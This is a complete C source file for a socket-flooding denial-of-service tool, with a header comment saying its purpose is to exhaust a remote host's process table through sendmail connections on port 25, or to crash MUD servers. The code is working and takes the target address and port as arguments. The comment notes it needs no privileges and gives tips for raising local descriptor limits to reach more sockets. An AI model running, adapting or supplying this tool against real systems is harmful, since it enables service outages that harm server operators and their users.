/*  This little program opens as many sockets with a remote
 *  host as can be supported by both.  It catches ^C and kill
 *  commands to shut down cleanly by closing all open connections
 *  before exiting.  Often, a remote workstation can be brought
 *  to its knees by saturating its process table via multiple
 *  invocations of sendmail.  That's why port 25 (the sendmail
 *  port) is the default.  If the target's process table (set
 *  when the target kernel was created) is filled, users will be
 *  unable to execute any shell commands.  Many MUDs also crash
 *  when the number of sockets they have open exceeds a certain
 *  number.  This program will put stress on MUDs by testing
 *  their limits.  If a limit is reached, the MUD will either
 *  crash or will refuse to let new users log in.
 *
 *  The program is incomplete, in that it doesn't check for
 *  socket timeouts and subsequently reuse timed out sockets.
 *  That means the program can only keep a remote host / mud
 *  locked up until it exhausts its own available new sockets,
 *  or until it has reached MAX_DESCRIPTORS remote connections
 *  as set by the #define statement.
 *
 *  If the local machine starts issuing error messages, then
 *  the program has failed to saturate the remote host and has
 *  instead reached the limits of the local machine.  Use ^C or
 *  the kill command to terminate it.  If you are knowledgable
 *  about rebuilding kernels and have access to the root account,
 *  you can build a special kernel that will allow you to reach
 *  a much larger number of open sockets.
 *
 *  Before running this, be sure to issue the c shell command:
 *              'limit descriptors nnn'
 *  where nnn is the largest descriptor limit, as revealed
 *  by the 'limit -h' command if applicable.  Some unixes may
 *  not have a descriptors category at all.
 *
 *  This program has been tested with SunOS version 4.1.3, Irix
 *  version 5, and with Linux.
 *
 *  You don't need to be a privileged user to run it.
 */

#include <stdio.h>
#include <stdlib.h>
#include <bstring.h>   /* needed for Irix */
#include <unistd.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h> /* needed for Irix */
#include <sys/socket.h>
#include <signal.h>

#define MAX_DESCRIPTORS 2500

int i, fd[MAX_DESCRIPTORS];

void CatchTERM()
{
printf("\nCaught sig TERM or INT! Cleaning up.\n");
for( ; i>=0; i--) {
         if( shutdown( fd[i], 2 ) < 0 ) perror("shutdown");
         printf("Closing %i\n", i);
         if( close( fd[i] ) ) perror("close");
         }
printf("Done. Committing suicide. ARRGH!\n");
exit (1);
}

main(argc,argv)
int argc;
char *argv[];
{
         int     opt,pid;
         struct  sockaddr_in sin[MAX_DESCRIPTORS];
         char    buf[2];

         if( argc < 2 ) {
            printf("Usage:\t%s address [port]\n", argv[0] );
            printf("\twhere address is a numeric internet address\n");
            printf("\tand port is an optional port number (default=25)\n");
            exit (0);
                    }
         pid = getpid();
         opt = 1;
         signal( SIGTERM, CatchTERM);
         signal( SIGINT, CatchTERM);

  for ( i=0; i<MAX_DESCRIPTORS; i++) {
       fd[i] = socket(AF_INET, SOCK_STREAM, 0);
       if ( fd[i] < 0 ) { printf("socket %i failed\n",i);
                          perror("socket");
                         }
           else {
/*  Someday, the following call will be used to allow socket reuse ...  */
/*      if ( setsockopt( fd[i], SOL_SOCKET, SO_REUSEADDR, ( char *) &opt,
 *       sizeof(opt)) < 0 ) {
 *           printf("setsockopt %i failed\n",i); sleep(10); }
 */
         bzero((char *)&sin[i], sizeof(sin[0]));
         sin[i].sin_family = AF_INET;
         sin[i].sin_addr.s_addr = inet_addr(argv[1]);
         sin[i].sin_port = htons((argc > 2) ? atoi(argv[2]) : 25);

         if( connect(fd[i], &sin[i], sizeof(sin[0])) < 0) {
             printf("connect %i failed.\n",i);
             perror("connect");
             break;
                                 }


         read(fd[i], buf, 1);
         printf("pid: %i, desc %i\n", pid, i);
                }
  }
  i--;
  printf("closing connection.\n");
  for ( ; i>=0; i-- ) { if( shutdown( fd[i], 2) <0) perror("shutdown");
                 if( close(fd[i]) ) perror("close");
                 else printf("closed %i\n", i);
                 }
}

